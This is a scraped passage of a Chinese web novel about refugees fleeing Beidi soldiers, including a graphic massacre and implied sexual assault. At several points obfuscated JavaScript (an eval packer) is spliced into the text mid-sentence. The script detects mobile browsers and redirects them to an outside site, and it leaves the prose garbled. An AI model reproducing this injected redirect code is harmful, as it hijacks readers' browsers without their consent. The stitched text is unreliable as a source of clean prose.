江夏在旁边看得心惊,这北狄士兵竟然这么强?!这样的人竟然还只是一个士兵!不敢想象北狄的军队是多么恐怖,若是让他招来更多的人,这里就是他们的埋骨地了。 该怎么办呢? 不仅江夏感到恐怖,正与那人缠斗在一起的周大周二更是深有体会。被踢了一脚的春生现在还没爬起来,其他人身上也或多或少的负伤,反观对面那人,面对六人围攻却只有手臂上被划了道伤。 不多时,又有一人被踹了出去,场上的局势变得很不利,有些人已经心生退意。而退意一旦产生,再想战胜对方就更是不可能。 “噗嗤——”,是刀剑划破皮肉的声音。 “水生!” 那北狄士兵的刀从水生的肩膀劈到腹部,鲜血迸溅,染红了那人的面孔,如同罗刹地狱里跑出来的恶鬼。 “啊!我跟你拼了”,一个妇人从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“啊!!”,这次的惨叫声终于不再是熟悉的人的声音,“你这贱人,我要杀了你!!” 那人用袖子擦去脸上的汁水,眯着眼睛四处寻找江夏,江夏抱着罐子后退,那人耳朵一动,瞬间提刀砍向江夏。周氏兄弟上前挡住他,奈何深受重伤,体力不支,仅仅只能拦住那致命一刀。 “快走”,江夏连滚带爬的从那人的刀下跑走,可还没等她走多远,就听“砰——砰”两声,周大周二都被那人踹到她的前面。 看着那人提刀朝自己走来,无力感像潮水一般向她涌来,将她淹没。 为什么他都看不见了,还能知道她在哪里,还能接着战斗,这样的人怎么战胜啊。 “滚开!你这恶鬼不要伤害我姐!”,江诚捡起地上的石块扔向他,嘴里还在不停的咒骂他。周大婶抱着孩子浑身瘫软的跪坐在地上,愣愣的看着躺在不远处的周大周二。 被砸中的那人嘴角扯出一抹残忍的笑容,调转目标朝着江诚走去,“那我就如你所愿,先杀你,再杀你姐” 江诚害怕的腿都在抖,不住的往后退,但嘴里还在骂着,“你有本事过来啊!我……我不怕你!” 那人抬起手中沾满鲜血的刀,朝着江诚砍去。 5. 第 5 章 救命恩人 随着刀落下的瞬间,江夏感觉这具身体仿佛脱离了自己的控制,嘴里大喊着“阿诚”,随即身体猛地冲了过去,一把将江诚推开。刀划过自己的后背,温热的鲜血迸溅出来,可自己就像感觉不到疼痛一样,转身紧紧抱住那个男人,双腿用力一蹬,带着男人向着身后的悬崖倒去。 “阿姐!” 呼啸的风声在耳边刮过,也没能盖住江诚那撕心裂肺的哭声。意识逐渐模糊,恍惚中好像看见一个身穿浅青色长裙的少女站在自己面前。那衣服她认识,就是她穿来时原主身上穿着的。“你是江月?”,少女点点头。 “刚才是你救的江诚吧?”,当时身体不受自己控制,奋不顾身救下江诚,想来就是江月在那瞬间占据了身体的主导权所作的。 “对不起,害你受伤了” “你不用向我道歉,这是你的身体,不是我的,你想怎么使用都可以”,江月作为这具身体的主人,她拥有全部的掌控权,“不过……既然你还活着,那我为什么会进入到你的身体里?”,这种鸠占鹊巢的行为非她所愿,她不接受,既然江月没死,她希望能够离开。 江月摇摇头,“不,我已经死,你现在看到的只是我因为记挂着阿诚的安全留下的一道执念” “那为什么我死了却能来到这里成为……”成为了你。 江夏没有说完,但江月听懂了。 “你是来自仙境的人吧?”,江月问。 虽然不知道她为什么会知道,但江夏还是点点头,“可能是因为……我死前渴望着看到那个世界的仙人吧”,江月笑道。 当时自己摔落山崖仰面躺在地面上,独自感受自己生命的悄然流逝。看着自己面前的天空,那么湛蓝纯净,却又那么遥不可及。就像自己看到的那个仙境,可望而不可及。 死亡来临时,她以为自己会害怕,可没想到出现在自己脑海中的只有一个念头——不知道自己死后能不能去那个仙境,见一见仙境中的人。上天或许听到了自己的心声,虽然没有去到仙境,但她见到了仙境中的人。 她不是一个疯子,那个世界是真实存在的!江夏的出现就是最好的证明。 “那不是什么仙境,这是一个科技更为发达的世界。我也不是什么仙人,我和你一样都是会生老病死的普通人” “你觉得不是仙境,因为你就生活在那样的世界里,所以那里的一切你都已经习以为常。可对于我而言,那就是仙境” 江月的话让江夏受到冲击,因为习惯,所以不在乎吗? “你知道我有多羡慕你们吗,我羡慕你们可以和男子接受同样的教育,可以随意的出门,可以掌握自己婚姻”,那样的一切是她们这样女孩不可能拥有的。 江夏的眼睛忽然睁大,伸手指向江月,“你的脚……”,江月低头望向自己逐渐变得透明的双脚,抬起头眼睛看向未知的远方,“看来我的时间到了。真希望我死后也能去到你的世界……” 说着转头看向江夏,“看在我这具身体的份上,请你替我好好照顾阿诚,谢谢……”江月说完这句话后,身影逐渐模糊,最终消失不见。 “哎,等等,我还有话没有问呢”,江夏伸手一抓,却空无一物,紧接着那股熟悉的、强烈的失重感再次袭来,江夏为眼皮微动,想要睁开眼睛,但奈何眼皮似有千斤重,很快整个人被黑暗淹没…… 而这边,江夏坠崖后,留在崖上的周大周二等人互相搀扶着走到崖边,看着深不见底的悬崖,所有人都沉默下来。 突然,一道响亮的声音在崖底响起,“我接到江月了!她没事儿!”,声音如同砸入水中的巨石,泛起层层涟漪,一圈一圈向外荡去。 是李木的声音,“你们快下来,底下有个平台,很安全!” 听到这话崖上原本凝滞的气氛顿如风吹去,活下来的众人顿时欣喜不已,拿好自己的东西互相搀扶着,沿着栈道往下走去。 “大哥,水生和水生他媳妇怎么办……”,看着已经了无生机的二人,周二的声音有些艰涩。 “现在来不及埋葬他们了,把他们的尸体搬到那边的灌木丛中吧。如果我们以后还能回来,再来替他们收尸” 森林中鸟叫声不断,放眼望去能够看到举着火把的北狄士兵,“追兵来了,快走” 二人踏上栈道,每往下走一步就将上一步的栈道破坏,防止追兵追上来。 等到所有人的双脚都踏在李木所说的平台上时,他们悬着的心终于落到实处了。 他们活下来了! 笑声、哭声杂糅在一起,眼泪鼻涕到处飞,像疯子一样大声喊着。 “好了,等我们活着离开了这里再开心也来得及”,李木的声音很冷,这些人现在就开心也太早了。先不说还有好些人深受重伤,就说上面还有北狄的士兵随时会发现他们,他们能不能从这条栈道活着走下去都不知道。 阻止了这群人继续发疯,他走到周大周二面前,“大哥、二哥你们怎么样?还好吧?”,说罢将二人搀扶着在山壁边坐下。旁边就躺着昏迷不醒的江夏,而先前掉下栈道的小山也被他娘搂着坐在不远处。 “还好。这是怎么一回事啊,你们怎么接到那丫头的?那个北狄兵你们看到了吗?还有小山不是说掉下去了吗”。 李木也没有卖关子,直接向他们讲述了崖下发生的事情, 原来当时李木负责探路,第一个踏上栈道,小心翼翼的往下走,走到一半时就听到上面隐隐传来打斗的声音,他原本是想要上去帮忙的,但这条栈道太窄了,后面又有人,他根本没办法上去。而这时掉下去的小山突然说话,告诉了他下面有一个平台。 这也多亏了大家在小山掉下去的时候,伸手拉了一把,减缓了他掉落的速度,才能让他掉到平台上时还活着。 听到小山的话,他就和另外两个人快步下到平台,发现这是一处突出山壁,天然所形成的平台,后又经人工开凿,向着山体深挖了大约一丈宽,因此看起来还算宽敞,觉得他们这十几个人挤挤还是可以待下的。 但随着水生和他媳妇的死亡,不好的念头愈发强烈,他就开始招呼着其他人一起开始用藤蔓编制网,想着实在敌不过就让他们跳下来,用网接住他们。 网编了大半,就接到了从山上掉下来的江夏和北狄兵。那北狄兵估计摔懵了,加上视力模糊,没有躲过他抬腿踢来的一脚,被他狠狠踹落悬崖,估计已经死了。 听到这里,所有人都明白了事情的发展,不禁在心底感慨,他们这些人都是福大命大的。但转念一想到死去的水生和他媳妇,又是一阵唏嘘。 “呜呜……”,抽泣声吸引了人们的注意力,是江诚趴在江夏身旁在哭。 “这丫头伤得这么重,看着似乎是不太好……”,张屠夫媳妇吴氏看着江夏被鲜血染红的后背,在一旁轻声说道。 听到这话,江诚的哭声更大了,“都是我不好,如果不是为了救我,阿姐就不会受伤,两次都是我的错”,说着用力捶着自己的头,“都是我没用!为什么受伤的不是我!” “别这样,阿月是姐姐,姐姐保护弟弟是应该的,她也不想看到你这么难过的”,周大婶抱着江诚,轻柔的安慰着他。 她对江夏也是感激的,虽然她是为了救江诚,但不可否认,她的确也救了他们所有人。尤其是当时在崖上周大周二明显不敌对方时,是江夏主动出手相助,才会为自己引来后面的劫难。否则当时最先死的估计就是她丈夫和小叔了。 “先给她止血吧,我这里还有一些金疮药”,周大对着自个儿媳妇说道。 在这样的世道,金疮药的重要性不言而喻,也就周家两兄弟因为常年跑镖、打猎,经常受伤才会备着一些金疮药,其他人就是想买都买不起。 现在周大竟然就这样给这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668590|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丫头用,平台上的人都有些愣神,有些心思活络的,已经在心底计算着如果自己求他们,他们同意分子一点的可能性有多少。毕竟周家兄弟的仗义他们都有所耳闻,不然他们这些人也不会这么听他们俩兄弟的话。 周大看着一些人眼睛滴溜乱转,交头接耳,就知道他们估计心里有了想法,便开口直接了当地说道:“你们很多人不在崖上,不清楚当时的危险。如果不是这丫头她不顾自身安危,选择与那人同归于尽,我们所有人今天都会死在这里” 张二柱媳妇忍不住嘀咕道:“哪有你说的那么可怕,那北狄兵不就一人吗?他掉下来可是被李木一脚就踹下去了” “那是因为江月弄瞎了他的眼睛!”,周大转头看向张二柱媳妇,“而且谁说只有一个北狄士兵的,这林中可是有三十个,他已经发现了我们的踪迹,你觉得他会不喊人吗?到那时你觉得就你们这些人能抵得住他们的抓捕吗” 周大语气严厉,神情肃穆,张二柱媳妇吓得不自觉往张二柱身后躲,不敢再说。 说完,周大眼神在所有人身上扫过,“这样,还有人觉得我偏心她吗?” 人群安静如鸡,再没人说酸话。 而这边,周大婶带着张屠夫媳妇吴氏和江城已经在替江夏上药了。撕了江夏一件干净的内衬,将伤口周围的血迹擦去,看清那皮肉外翻、深可见骨的伤口,二人默契的对视一眼,齐齐在心里叹了口气,这怕是救不回来了啊! 而江城看着那伤口,刚止住的眼泪又不受控制的涌了出来。抬手擦去眼泪,咬紧下唇,强撑着攥紧手中用来隔开别人视线的床单。 将伤口紧紧包扎好,不多时伤口渗出的鲜血就将洁白的棉布染红。 “这样不行,得去找大夫”,周大婶说道。 现在平台上的人,除了江夏重伤昏迷,其他参与那场战斗的人也没有好到哪里,简单包扎了伤口,或坐或躺着休息。听到周大婶这样说,大多数人都没有异议,他们也需要找大夫。 但张大柱媳妇黄氏却有些不太愿意,“要不,我们还是等天亮吧,这天黑走这路实在危险,一不小心就掉下去……”,她被小山掉下栈道给吓怕了,她就这一个儿子,要是出了什么事,她也不用活了。 张家人对于黄氏的话自然是赞同的,天亮下山远比现在下山更安全,既然已经将来到这个平台的栈道毁了,那这里就是安全的。 张家人在围城之战中能全身而退,靠的就是这谨慎自私的性格,不然之前就不会发生抢了江夏二人的位置提前上了栈道一事。 而黄氏的话一出,一些早早躲在栈道上,没有经历那场战斗的人也有些发怵。 是啊,太危险了,谁也不知道接下来的路还会不会那么幸运遇到平台,如果没有,那万一像小山那样掉下去,那可就完了。而且现在距离天亮也没多少时间了,只要再等一个多时辰,等天亮再下山会更安全。 周大听到这话也没有多说什么,大家本就萍水相逢,为了逃生才聚在一起既然产生分歧,也不用勉强。 “去留随意,我们兄弟二人是要走的,如果有想要跟着的我们也不阻拦,但要想好,一旦出现意外,生死有命,我们兄弟二人现在无力保护各位” 说罢将江夏背在身后,在腰间缠好藤蔓就沿着栈道继续往下。周二、李木和春生等人也相继跟上,先前跟在李木身后下来的二人对视一眼,也跟着走了。 不多时平台上就只剩下张家人、张屠夫夫妻和先前被重伤的李根金及其妻儿。 李根金倒是想跟着一起走,但奈何身体实在不好,儿子又太小,这样下山危险太大,被迫留在了上面。 “八斤,我们走不走” “先不走了,这里还算安全,你身体又不好,刚才下来你就浑身冒冷汗,再受刺激该生病了。我们在这里休息好了,等天亮再出发” “好,我听你的” 6. 路遇村庄 周大几人趁着夜色往下走,虽略有惊险,但好歹最终是平安落地了。 从栈道上下来后,所有人都大舒一口气,随便找了个地方就一屁股坐下来。 “你小子真不错”,周二拍了拍江诚的肩膀,夸赞道。 江诚只是笑笑,没有说话,他觉得自己的半边肩膀都麻了,周二叔的力气真大。 “老二你过来”,周大将江夏交给了自己媳妇林氏,叫来自己的弟弟,二人点着火折子,拿了根木棍蹲在地上画着什么。 “大北牛山是在平安城的西面,我们又是从山的西面下来,所以我们现在的位置离宁州很近”,延州北边是夏州和遂州,已全部攻破,东边是石州和丹州,南边是同州,西边则是宁州。 大北牛山的西面由于断崖的缘故,鲜少有人踏足,他们兄弟二人就算上山打猎也很少会来这里,不安全。那条栈道还是多年前他们为躲避狼群,误打误撞才发现的。 “我们是要去宁州吗?可宁州现在估计也不安全啊”,周二说道。 宁州靠近庆州王的辖地。庆州王与北狄勾结,先是合力攻下北境最大的重镇夏州,后又攻占了夏州周边城池,那下一步估计就是与庆州王的封地进发,形成包围,将整个北方收入囊下。 “不去宁州,我们南下先去同州” “同州?” “没错,既然现在北地已经不安全,那我们就往南方走” 周二点点头,二人仔细商讨一番后,确定了接下来的行程后,回到人群中将刚商讨的结果和众人说了一下。 “我和二弟目前是这样打算的,你们呢?”周大问道。 “周大哥,我跟着你”,李木率先表达了自己的态度。 “周大哥,我们也跟着你”,另外三人对视一眼,异口同声答道。 “周...周大叔”,江诚怯生生的开口,“那你还会带我姐去找大夫吗?” “放心吧,我大哥说了会找大夫治她,就一定会找的”,周二叔揉揉他的头。 江诚却还是执着地盯着周大,看到周大点头后,立马躬身道谢,“谢谢你,周大叔,也谢谢你,周二叔”,说完又跑回江夏身边呆着。 林氏见他们说完话后,轻轻走到周大身边,“我看那丫头怕是不太好了...” 周大皱眉,“是起热了?” 林氏点点头。这就难办了,外伤最忌讳的就是起热,一旦高热不断,那人基本算是在阎王爷那边挂上名了。 “暂时先别和那小子说” “这还用你说。唉,这俩娃娃命怎么就这么苦呢?先是死了爹娘,现在月丫头又这样子...这月丫头要是死了,没人护着,江诚怎么活下去” “哼,在这样的世道下,谁的命不苦!可又有谁会在乎!”,周大语气冷漠,却又透着股无力的愤怒感,“为了活下去,已经耗费所有的心神,连伤感的时间都没有。如果他不能靠自己站起来,那他就无法活下去。在这人比草贱的世道,没人知道下一个死的会是谁?自己还能不能见到明天的太阳…” 周大一语成谶。 因为下来的栈道被毁,留在平台上的众人都很放松的等着太阳出来。 突然头顶传来窸窸窣窣的声音,张屠夫警觉的抬头看去,发现几条绳子被扔了下来。 不好! 张屠夫赶紧将其他人全都叫了起来,想要将绳子割断。可这绳子是北狄军队中特有的一种掺着鞣制晒干的牛筋,是专门用以防止逃犯逃走的绳,难以割断。 绳没有割断,北狄士兵就顺着这绳子滑了下来。 面对这六七名手拿银光闪闪大刀的北狄士兵,平台上人的脸色瞬间变得惨白,毫无血色。 “嘿嘿嘿,你们以为躲到这里我们就发现不了了吗”,士兵脸上挂着邪恶的笑容,抬头冲着上面喊道,“老大你说得没错,下面果然有人。十二个,里面还有四个女人” 男人的语气中满是令人嫌恶又害怕的轻佻。 张屠夫将自己媳妇护在身后,咬紧牙关,转头冲她说道:“丽娘,我对不住你,我应该跟着他们先走的” 丽娘摇摇头,“不怪你,是这些人的错” 张家人这边,张二柱听到那士兵的话连忙躲到自己媳妇身后,将媳妇推到了前面,自己悄摸摸的想沿着栈道往下走。 张二柱媳妇孙氏气得狠狠挠了他一巴掌,“你个挨千刀!你还是不是男人!你不保护我们母子,竟然还想丢下我们自己跑” 张二柱被挠一叫唤,还没等他反应过来,一个北狄士兵将他一脚从平台上踹了下去。 孙氏惊呆了,愣愣的看着前面,紧接着那士兵走向她,将紧紧依偎在她身边的男孩拽到边缘,推了下去。 癫狂的笑声此起彼伏,孙氏疯了,也顾不得害怕,冲着那人跑去,拳头用力的锤在那人身上。 “啊!啊!你这个恶魔!你还我孩子!我杀了你!我杀了你!”,她的嘴里不断呐喊着,可她的力量太过微小,那人轻轻松松就将她双手擒住,□□着将她拖到一旁。孙氏是这四人中最为年轻貌美的。 其他女人看着这一幕,如坠冰窟,整个人都在发抖。 而北狄那边的士兵却被这香艳的画面刺激的眼都红了,不约而同朝着剩下的人走去。 “啊!滚啊!不要过来”,这次是李根金的媳妇。 “放开我娘!你不要碰我娘!”,她儿子拼命挡在自己母亲身前,但奈何十几岁的少年,身量还未长成,与那些筋肉虬结的北狄士兵相比,瘦弱的像个小鸡仔,根本阻挡不了分毫。 看着自己的母亲被拖走,他拿起地上的镰刀朝着那人头上砍去。 那人松开手,转身轻轻松松就挡住从背后袭来的镰刀,手腕用力击落他手中的镰刀,接着抬起手中的刀一划,鲜血泵溅,身首异处。 张屠夫想要护着自己妻子从栈道逃走,自己则站在平台向下的位置,拦住其他人,“丽娘快走!” “我不走!”,丽娘站在栈道上迟迟不愿往下走,她知道他想用自己的命换她活,可他不在了,她活着还有什么意义。 “快走!”,张屠夫握着杀猪刀的手在发颤。他只杀过猪,比不上这些杀人不眨眼的魔鬼,不管是力度还是攻击角度。此刻他的身上尽是伤口,整个人都被鲜血染红,但他却不曾后退一步。 又是一刀劈下,他再也握不住手中的刀,刀掉落在地,敌人的刀落在他的肩膀,将他整个右臂都砍了下来。 随着张屠夫的倒下,丽娘毫不迟疑捡起地上的杀猪刀抹了自己脖子。 看着二人双双倒在地上,那士兵朝地上啐了一口,“呸,晦气”,转身朝着其他人走去。 原本安静的平台此刻已成了人间地狱,女人凄厉的哭声伴随男人的狂笑,还有满地的残肢断臂… 对于这里发生的事情,已经下山了的周大等人是一无所知的。在短暂的休整之后,他们又朝着下一个地方前进。 山间的露水打湿了他们的裤腿,群星渐隐,天空泛起的鱼肚白,让周围的山峦也逐渐显出真身。 站在又一座山的半山腰上,看着远处袅袅炊烟,满身的疲倦都消散一空。 走到村子前,他们几人浑身是血的邋遢模样,引起了村民的注意。 几个身穿打满补丁的粗布衣裳的男人拿着木棍站在他们面前,“你们是什么人,为什么来我们村子?” 周二扬着笑脸上前说道:“大家不要惊慌,我们不是坏人,是从平安城里逃难出来的。你们也看到了,我们这里有女人小孩,身上基本都有伤。我们一伙人为躲避北狄士兵,逃到山中,迷路来到这里,看到有村庄就想来向你们问一下这附近有没有医馆,可以让我们找个大夫治一下” 一个拄着拐杖的老者,从村里走了出来,仔细打量周二一伙人,看到的确如他所言,就勉强信了几分,但也没有请他们进村,只站在村口说道:“我们村子没有大夫,你们要想看病就要翻过前面那座山再走十多里路,去隔壁大堡子村,那里有个大夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668591|173042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “多谢”,周二抱拳道谢。转身就要去那大堡子村。 “等等”,老人在身后叫住了他们,“你刚才说你们是从平安城里逃出来的,又说什么北狄兵。是外面又在打仗了吗?” “是啊,庆州王叛国,勾结北狄,已经攻下北方数座城池,延州也已被攻破。我们这些人都是从城里逃出来的” 看到那些村民脸上的惊恐不似作伪,周二疑惑地问道“你们都不知道吗?” 老人摇摇头,“我们小坝村四面环山,平日里也没有人会来我们这里。村里人要是想买些什么东西,都是拿着自家的东西去隔壁大堡子村,那里每隔四天就会有一次的集市,去集市上和别人换回来” 周二感叹这村的封闭,也不知是好是坏,“你们就没想过去县城里看看吗?”,就算不去府城,也应该要去县城里看一看。 “太远了”,老人叹了口气,“我们要是去县城,一天时间是不够的,今天去,第二天才能回,得在在外面住一晚,住野外不安全,住城里得花钱,不值当啊”,至于府城,那就更不用说了,连在哪个方向都不知道。 “你们现在既然知道了,可以想想怎么办。虽然这里地处偏僻,但也不是完全找不到”,周二善意的提醒一句。他们既然能够来到这里,就不能保证北狄的士兵不会找到,一旦找到,这一整村人估计都难以逃生。 村民们顿时骚动起来,有人连忙跑回村中与家中人商议。 “你们这里是哪个县下辖的?”,周大突然开口问道。 “我们这儿是颍上县”,老人回答道。 颍上县,那就还在延州境内,但已经快到宁州了。知道了所处的位置,接下来就好走了。 与村民们告辞后,众人又朝着大堡子村出发。等到达大堡子村的时候,太阳已经挂在天上,空气中温度也逐渐升高,他们身上的衣服也是干了又湿。 此时,别说李木,林氏这些人,就是周大周二这身体素质较好的都有些受不住了。从北狄攻城开始,他们这些人基本没再好好休息过。 周大低头瞥了眼跟在自己身边,紧紧拽着被自己背在背上的江夏的裙摆的江诚。这孩子全程默不作声,即使现在面如金纸,满头大汗,双腿也都在颤抖,却依旧一声不吭。 “大哥,二哥,你们先在这里休息,我去村里找找有没有大夫”,李木说道。 相比于周大周二,他身上的伤较少也较轻。 周大也没有推却,只叮嘱他要小心。 “我也去”,江诚开口。可能是太久没有说话,也可能是之前哭得太用力,他的声音沙哑异常。 “你跟着干嘛,你又帮不上忙”,李木直言道。 “我去找大夫救我阿姐”,江诚固执道。 “我会去找,就不用你去了” 江诚不说话,只低头站在原地不动。 李木瞪了他半天,见他不肯放弃,只能一甩胳膊,“你想跟就跟着吧,但丑话在前头,你要是走不动了,我可不会背你”,说完,掉转头往村里走去。 江诚立马小跑着跟上他。 留在原地的人,捡了些木头生火烧水。大堡子村这里就有一条蜿蜒的小溪,将陶罐架在火堆上,等水沸腾后,每人分了一碗,就着热水啃着怀里冷掉的饼。 手里的饼还没有吃完就见。李牧急匆匆的从路的尽头跑了过来。 “怎么了”,周大沉声问道。 “不会北狄士兵已经过来了吧?”另一人害怕的说道。 “不是”,李木扶着自己膝盖,平复好自己的呼吸后说道,“是这村里的人听到了延州城破的消息,此刻许多户人家都在收拾行李准备走呢” “那江诚呢?他怎么没和你一起回来”,周二问道。 “老大夫一家也在收拾东西准备逃走,不愿看诊。这小子现在正跪在那老大夫家门口,求人家来救救他姐,我怎么说他也不肯回来”,李牧的脸上尽是无奈,那小子固执起来,十头牛都拉不回来。 7. 治伤买车 “这孩子……”,林氏叹息一声,看向躺在一旁的江夏。 “既然大夫还没走,那我们就去看看吧”,周大发话,说着递给李木一个水囊,“里面给你装了些热水” “谢大哥” 李木领着众人进村,并没有遇到村民拦截,此时家家户户基本都在收拾行李,看到有陌生人来,也只是看一眼就接着忙自己手中的事情去了。 进村走了没几步,就看到江诚此刻就跪在一户人家的大门口,应该就是老大夫家了。老大夫家是两进的青砖大瓦房,此刻门口宽阔的院子里堆满了物品。 “你这小孩怎么听不懂人话呢?说了没空就是没空,你有这功夫在这里跪着,不如赶紧往县城去,说不定啊还能救回你阿姐”,一个长脸瘦削的妇人叉腰站在江诚面前大声说着。 看江诚还是没有反应,忍不住伸手推了他一把,将他推倒在地。 “江诚!”,周二看到这一幕,连忙跑上前将他扶起来。 妇人看到这么多人,心里也有些发怵,但转念一想这是在自己村里,自己怕他们作甚。想到这便大声说道:“哎,这是你家小孩吧,赶紧领走!别耽误了我家的事” “我们是来求医的,还请老大夫能替我们看一下,我们不胜感激”,周二放低姿态,笑着弯腰作揖。 “你没看见我们正在收拾东西准备逃难,哪有功夫替你们看病。要看病啊,去城里!”,说完妇人就要将院门关上。 周二连忙伸手挡住,“嫂嫂,实在是我们这里有个孩子伤得过重,去县里路途遥远,怕是来不及……” 妇人朝周大背着的江夏看去,看到她面色苍白,顿时吓了一跳,更加用力的关门。 “走走走!那人脸都白了,显然是快死了,你找我公爹也没用,你们去其他地方吧,别死去我家门口” 听到妇人的话,原本低着头的江诚如同被惹怒的小狼崽,朝着女人狠狠撞去,“你胡说!我阿姐不会死,你胡说!” 女人被江诚撞一踉跄,没站稳,一屁股坐在了地上,“哎呦,你这小孩” “老二媳妇,怎么回事”,一个留着白胡子的老人从房子里走出来。 “公爹,这些人想要求医,但那人明显活不了了,这小孩不信,还推我!” 女人地上爬起来,拍了拍身上的土,对着老人告状。 老人闻言也看向周大等人,看到他们一伙人身上都带着伤,眉头不自觉皱了起来。再看到江夏,眉头是越皱越深,“让他们进来吧”,说着转身进屋。 妇人不敢忤逆公爹,只能狠狠瞪了他们一眼,心不甘情不愿地侧开身,让他们进了院子。 “哎哎,别把人放那里,那是干净的”,跟在他们后面的妇人看到他们想将江夏放在一张榻上,连忙上前将人拦住,指着小屋里的一张床说道,“放那里。你们得用自己的衣物垫着,别把床给我弄脏了” 妇人一副高高在上的样子,众人虽心里厌烦,但也只能按她说的所做。 江诚从自己背着的包袱里取出一张布帛,是之前替江夏上药隔断时用过的。将布帛铺在床上,周大这才将江夏放了下来。 老人手里拿着一瓶药酒走了进来,“我看你们身上都有伤,不仅是擦伤,还有刀伤,想来是与人发生打斗。这是我自己泡的药酒,活血化瘀、消肿止痛的效果很好”,说着递给他们。 周大双手接过,躬身道谢。 “不用谢,不是送你们的,要付钱的” 周大一愣,说道:“这是自然” 看到老大夫走到江夏床边,便和其他人一起走出房间,只留林氏在一旁守着。 林氏将江夏的衣服解开,露出被鲜血浸透的细布,再用剪刀将布剪开。 江夏那道伤几乎贯穿她整个后背,深可见骨,皮肉外翻,甚至因为天气炎热,伤口处隐隐散发出腐败臭味。 “这伤可不是一般人能造成的,你们是从哪里来的” “我们是从平安城逃出来的” “平安城。那这就是北狄人所伤?”,北狄攻占了延州,在平安城里大肆屠杀百姓消息已经传到他们村了。从那些活下来的人口中听到北狄军毫无人性,行事凶残暴戾,这才会匆忙收拾行李逃跑。 握着一把小刀,将刀刃浸在白酒中在火焰上灼烧,将刀身烧得通红后,将那些腐败的坏肉割下。林氏在一旁看的心惊胆战,昏迷中的江夏眼皮轻颤,很快又平静下来。 将伤口处理干净后,又在伤口上撒上药粉,重新缠上白布。 一通忙活下来,老大夫也是满头大汗。将手洗净后,对着林氏说道:“她的伤口太深,我给她上的药可能并不能完全止住出血,而且她还高烧,我劝你们最好还是去城中找大夫看看” “谢谢大夫。大夫你也给我男人看看吧,他身上的伤也不轻”,林氏冲着大夫说道。 “把他们叫到隔壁房间吧” 将几人的伤势都处理好,已经过了晌午。 老大夫的孙子抱着药进来,放在一旁的桌子上。 “这药是散瘀止血、消肿止痛的,你们可以用水熬煮开后一起服用,这些药是单独给隔壁屋子的小女娃的,能清热解毒、益气养血。一副药可以煮两次,这些药应该可以够用三天。 这些药加看诊的费用一共三两银子。你们收拾好就走吧,我们一家人待会儿也要离开了” 周大拿出盘缠想要付钱,江诚提前将钱给了出去,“周大叔这一路多谢你们的照顾,这钱该由我来付的,还望周大叔不要与我推辞” 周大也的确没有再说什么。 “大夫,阿姐伤势不好轻易挪动,我想买一辆板车,不知哪里可以买到”,江诚问道。 “我们村里就有木匠,不过现在可能不好买了。你要想买,就去问问吧。他家门口长着一棵歪脖子的柿子树” 谢过老大夫后,众人拿了药就离开了。 找到木匠家,万幸木匠一家还未搬离。江诚敲开门询问是否有板车卖。木匠抬头打量了他一眼,见他浑身邋遢,衣裳也是破烂不堪,跟路边的乞儿没什么区别,笑道:“就你?想买板车?知道一辆板车多少钱吗?十两!” 听到木匠的话,江诚也愣住了,他知道板车很贵,但没想到这么贵。他身上还有十二两多的银子,但阿姐还要看病,要是现在把钱都花了,之后没钱看病怎么办? 木匠看到江诚抿紧嘴唇不再说话,嗤笑一声,“你就是想买也是买不到的,乡下人家哪会备一辆板车在家中。我们这里要想买车,都是你自己去山上砍了树送来,我们做好后,你再取走。想要直接买一辆是不可能的,除非你去城中的马车行。但我告诉你,你要是去那里买,没有十二两银子是买不到的” “大叔……那可有废弃或损坏的板车”,一道虚弱的声音在周二背后响起。众人看去,发现江夏竟然醒了。 “阿姐!你醒了!”,江诚惊喜地跑回周二身边,仰着头看着江夏,眼泪鼻涕糊了自己一脸。 江夏看着他的小脸,心中很是复杂。江月消失前请她好好照顾江诚,江夏不清楚江月消失与自己占了她的身子有没有关系。如果是因为自己占了她的身子导致了江月的消失,那自己就是间接害得他失去了姐姐…… “我没事,别哭”,江夏让周二将她放在一旁,轻声道了声谢。 “大叔,你说都是别人送木料过来,再由你们制作。那别人家损坏淘汰下来的板车是不是也会送到你们这里?” “呵呵,小姑娘,听你这话,你不是庄户人家的姑娘吧”,木匠笑道。 江夏点点头,“在庄户人家,一辆板车的重要性不亚于一头牛,有车的人家都是很爱惜的,经常是一代一代往下传的,没有个几十年可坏不了” 江夏有点失望,她还以为会有二手回收可以捡漏,没想到这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 